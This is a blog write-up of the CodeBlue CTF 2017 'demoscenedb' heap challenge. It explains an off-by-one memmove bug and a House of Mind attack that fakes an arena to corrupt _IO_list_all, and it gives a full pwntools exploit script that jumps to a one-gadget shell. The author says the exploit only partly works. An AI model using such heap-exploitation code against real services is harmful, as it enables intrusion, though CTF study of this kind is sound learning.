CODEBLUE CTF 2017 DEMOSCENEDB Write-up (House of Mind, seemingly wrong at present)

Introduction

This challenge is given on CodeBlue CTF 2017. Based on the source code provided on [1], I try to solve this challenge via House of Mind. I think it’s impossible for me to solve this in contest. As part of my tutorial, I decide to use this challenge for explaining House of Mind.

Vulnerability Analysis

According to the source code, the vulnerability lies in the following code snippt:

used_size = size_from&~LUMP_BIT;
if (size_to < used_size) {
    used_size = size_to;
}
memmove(animations[to]->scenes, animations[from]->scenes, used_size);

The vulnerability is used_size will be set to a value, which is larger than the actual size of scenes of to animation causing an one-byte-off error in the end.

Exploitation Plan

Information Leak

I write my exploit on my local machine. So base address of libc and heap is different from the info of real challenge. A special situation in this challenge is that the connection to the server is always forked from the server process. Therefore, the child process share the same address space of parent process. Therefore, we can get the base address info from abort message. The write-up given by 217 [2] seems to use the same method.
20171209001

Memory Massaging

The hard point of this challenge lies in that the free function is invoked after sending the quit command. Therefore the free function could only be invoked once and we cannot use the chunk overlapping for solving this challenge. According to the intention of the author of this challenge, we have to use House of Mind to solve this one. So we have to craft a fake mstate variable in memory.

Another tedious part in this challenge is how to craft variable in memory. According to my tests on my local machine, if the payload contains a ‘\x00’ or ‘\x0a’ the characters after them will be omitted. So I have to take a very troublesome method to set ‘\x00’ in my exploit, i.e. using the terminating character of a string to set ‘\x00’

Hijacking Control Flow

Since the old-style House of Mind has already been mitigated in the libc, actually in this challenge we get only a chance to corrupt the data at a given address. To be more specific, we are using the following code in malloc_consolidate during _int_free to corrupt the data.

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

Similar to unsorted bin attack, we utilise the code above to corrupt the data of _IO_list_add and hijack the control flow similar to [4].

To find the heap for a chunk pointer, 0xfffffa000000 will be used to and with the chunk pointer. Therefore, I have to craft a fake arena at 0x4000000. After some attempts, I finally craft the value at 0x4000000 as following:

// the allocated chunks stored in animation list
0x604740:	0x0000000003fffe10	0x0000000004002110
0x604750:	0x0000000004012310	0x0000000004022410
//the crafted heap in memory.
0x4000000:	0x00000000024a5020	0x0000000000000000
0x4000010:	0x0000000000000000	0x0000000000000000
0x4000020:	0x0000000000000000	0x0000000000000000
0x4000030:	0x0000000000000000	0x0000000000000000

The following thing is to create a fake mstate variable at 0x24a5020, including flag, top chunk pointer and fastBin[0]. After corrupting the data of _IO_list_all, we trigger the abort path in unlink and hijack the control flow.

Another annoying part of the challenge is that, I have craft various values in memory to pass all the security checks before malloc_consolidate:

/* Lightweight tests: check whether the block is already the
   top block.  */
if (__glibc_unlikely (p == av->top))
{
   errstr = "double free or corruption (top)";
   goto errout;
}
/* Or whether the next chunk is beyond the boundaries of the arena.  */
if (__builtin_expect (contiguous (av)
		  && (char *) nextchunk
		  >= ((char *) av->top + chunksize(av->top)), 0))
{
   errstr = "double free or corruption (out)";
   goto errout;
}
/* Or whether the block is actually not marked used.  */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
   errstr = "double free or corruption (!prev)";
   goto errout;
}
nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
     || __builtin_expect (nextsize >= av->system_mem, 0))
{
    errstr = "free(): invalid next size (normal)";
    goto errout;
}

Exploit

from pwn import *

import sys
import os

DEBUG = int(sys.argv[1]);
serverID = sys.argv[2];

r = remote("localhost", 11451);

#attach to new session
os.system("ps aux > log");
fd = open("log", 'r');
lines = fd.readlines();

pid = "";

for line in lines:
    if(("demo" in line) and (serverID not in line)):
        pid = line.split()[1];
        log.info(pid);
        break;

count = 0;

if(DEBUG == 2):
    gdb.attach(int(pid), '''source ./script.py''');

def halt():
    while(True):
        log.info(r.recvline());

def createAnimationLump(num, desc, content):
    global count;
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil("How many scenes does your animation use?:");
    r.sendline(str(num));
    r.recvuntil("Do you want to use the region as one scene?[Y/n]:");
    r.sendline("Y");
    r.sendline(desc);
    r.sendline(content);
    count = count + 1;
    return count

def createAnimationSlice(num, desc, content):
    global count;
    r.recvuntil(">");
    r.sendline("1");
    r.recvuntil("How many scenes does your animation use?:");
    r.sendline(str(num));
    r.recvuntil("Do you want to use the region as one scene?[Y/n]:");
    r.sendline("N");
    r.sendline(desc);
    for i in range(0, num):
        r.sendline(content);

    count = count + 1;
    return count;

def editDesc(index, desc):
    r.recvuntil(">");
    r.sendline("2");
    r.recvuntil("Which description do you want to edit?:");
    r.sendline(str(index));
    r.sendline(desc);

def editSceneLump(index, content):
    r.recvuntil(">");
    r.sendline("3");
    r.recvuntil("Which scenes do you want to edit?:");
    r.sendline(str(index));
    r.sendline(content);

def editSceneSlice(index, num, content):
    r.recvuntil(">");
    r.sendline("3");
    r.recvuntil("Which scenes do you want to edit?:");
    r.sendline(str(index));
    for i in range(0, num):
        r.sendline(content);

def showAnimation():
    r.recvuntil(">");
    r.sendline("4");

def copyAnimation(src, dst):
    r.recvuntil(">");
    r.sendline("5");
    r.recvuntil("Which animation do you want to copy?: ");
    r.sendline(str(src));
    r.recvuntil("Dest: ");
    r.sendline(str(dst));

def combineAnimation(idx1, idx2, desc):
    r.recvuntil(">");
    r.sendline("6");
    r.recvuntil("Which animations do you want to combine?: ");
    r.sendline(str(idx1));
    r.sendline(str(idx2));
    r.sendline(desc);

def editDescValue64(index, payload, offset):
    editDesc(index, "A"*(offset+7));
    editDesc(index, "A"*(offset+6));
    editDesc(index, "A"*(offset+5));
    editDesc(index, "A"*(offset+4));
    editDesc(index, "A"*(offset+3));
    editDesc(index, "A"*(offset+2));
    editDesc(index, "A"*(offset+1));
    editDesc(index, "A"*offset + payload);

def editDescValue32(index, payload, offset):
    editDesc(index, "A"*(offset+3));
    editDesc(index, "A"*(offset+2));
    editDesc(index, "A"*(offset+1));
    editDesc(index, "A"*offset + payload);

def editSceneValue64(index, payload, offset):
    editSceneLump(index, "A"*(offset+7));
    editSceneLump(index, "A"*(offset+6));
    editSceneLump(index, "A"*(offset+5));
    editSceneLump(index, "A"*(offset+4));
    editSceneLump(index, "A"*(offset+3));
    editSceneLump(index, "A"*(offset+2));
    editSceneLump(index, "A"*(offset+1));
    editSceneLump(index, "A"*offset + payload);

def editSceneValue32(index, payload, offset):
    editSceneLump(index, "A"*(offset+3));
    editSceneLump(index, "A"*(offset+2));
    editSceneLump(index, "A"*(offset+1));
    editSceneLump(index, "A"*offset + payload);

def quit():
    r.recvuntil(">");
    r.sendline("7");

def leak():
    a1 = createAnimationLump(2, "A"*0x20, "A"*0x1ff);
    a2 = createAnimationLump(1, "A"*0x20, "C"*0xff);
    a3 = createAnimationLump(1, "A"*0x20, "D"*0xff);
    copyAnimation(a1, a2);
    quit();
    halt();

def exploit():
    libcBase = 0x7f019d520000;
    libc = ELF("./libc.so.6");
    stdioAddr = libc.symbols["_IO_list_all"];
    heapAddr = 0x24a5010;
    log.info("0x%x" % stdioAddr);
    for i in range(0,  218):
        log.info(i);
        createAnimationLump(0x1ff, "A"*0x20, 'A'*(0x200-1));
    a1 = createAnimationLump(0x1ad, "GG", 'B'*0x100 );
    fake = createAnimationLump(0x22, "GG", 'C'*0x20);
    a3 = createAnimationLump(0x101, "victim1", 'D'*0x10000+"\x05");
    a4 = createAnimationLump(0x100, "victim2", "E"*(0x10000-1));
    a5 = createAnimationLump(0x100, "victim3", "F"*(0x10000-1));
    copyAnimation(a1, fake);
    copyAnimation(a3, a4);

    oneGadgetAddr = libcBase + 0xf1117;
    # edit the first animation
    # set AV+0x58 = 0x4032500 top chunk
    # set fast[0] = 0x24a5110
    editDescValue64(1, p64(libcBase + stdioAddr - 0x18), 0x78);
    editDescValue64(1, p32(0x4032510), 0x68);
    editDescValue64(1, "A", 0x61);
    editDescValue64(1, p32(heapAddr+0x100), 0x18)
    editDescValue32(1, "\x02", 0x14)
    editDescValue32(1, "\n", 0x10);

    editSceneValue64(fake, p32(heapAddr+0x10), 0xf8);
    editSceneValue32(1, "\x01", 0x79c);
    editSceneValue32(1, "A", 0x797);

    #memery massaging
    editSceneValue64(1, p32(0x24a5610), 0x510);
    editSceneValue64(1, p32(0x24a5710), 0x510);
    editSceneValue64(1, p32(0x24a5810), 0x510);
    editSceneValue64(1, p32(0x24a5910), 0x510);

    editSceneValue64(1, "\x01\x01", 0x410);
    editSceneValue64(1, "A", 0x409);
    editSceneValue64(1, "\x01\x01", 0x408);
    editSceneValue64(1, "A", 0x401);

    editSceneValue64(1, p32(0x24a5610), 0x320);
    editSceneValue64(1, p32(0x24a5610), 0x318);

    editSceneValue64(1, "\x01\x01", 0x310);
    editSceneValue64(1, "\x01\x01", 0x210);
    editSceneValue64(1, "\x01\x01", 0x110);
    editSceneValue64(1, p32(heapAddr + 0x120), 0xe0)
    editSceneValue64(1, p32(heapAddr + 0x130), 0xa8);
    editSceneValue64(1, "\x02",0x58); #0x24a5160
    editSceneValue64(1, "\x01",0x50);  #0x24a51658
    log.info("setting one gadget offset: 0x%x" % oneGadgetAddr);
    editSceneValue64(1, p64(oneGadgetAddr), 0x40);
    editSceneValue64(1, p32(heapAddr + 0x500), 0x18);
    editSceneValue64(1, "\x01\x01", 0x10);
    editSceneValue64(1, "\n", 0x8);

    quit();
    r.interactive();

if(DEBUG == 0):
    leak();
elif(DEBUG == 1):
    exploit();
elif(DEBUG == 2):
    exploit();

In the final, it seems that I cannot get any output from typing command with the error message “sh: 0: can’t access tty; job control turned off”. But after viewing the output of pstree command, I indeed pwn a shell from the service process. I googled some solutions online, but none seems feasible to solve this problem. In future, I will try to fix this problem if feasible solution is found.

Here lists the output of pstree during the process and after hijacking control flow.
20171209002

Here lists the output after changing the value of oneGadgetAddr to 0x41414141.
20171209003

Conclusion

I feel crazy and upset when I was debugging the challenge on my local machine during the past few days. For the real challenge, how on earth can I craft those values without the help of debugger? Maybe I need to learn how to plan the exploit before starting to write exploit and take every detail into consideration.
It’s clear that the write-up given by 217 is totally different from mine. I may take time to see what they did.

Reference

[1] http://binja.github.io/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/
[2] https://github.com/david942j/ctf-writeups/tree/master/codeblue-2017/demo_scene_db
[3] https://gbmaster.wordpress.com/2015/06/15/x86-exploitation-101-house-of-mind-undead-and-loving-it/
[4] http://4ngelboy.blogspot.sg/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.